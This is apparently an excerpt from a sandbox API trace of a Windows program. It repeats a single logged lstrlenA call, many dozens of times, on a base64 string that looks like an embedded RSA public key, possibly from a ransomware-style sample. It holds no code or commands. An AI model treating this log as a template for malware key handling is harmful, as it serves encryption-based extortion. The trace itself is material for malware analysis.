	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
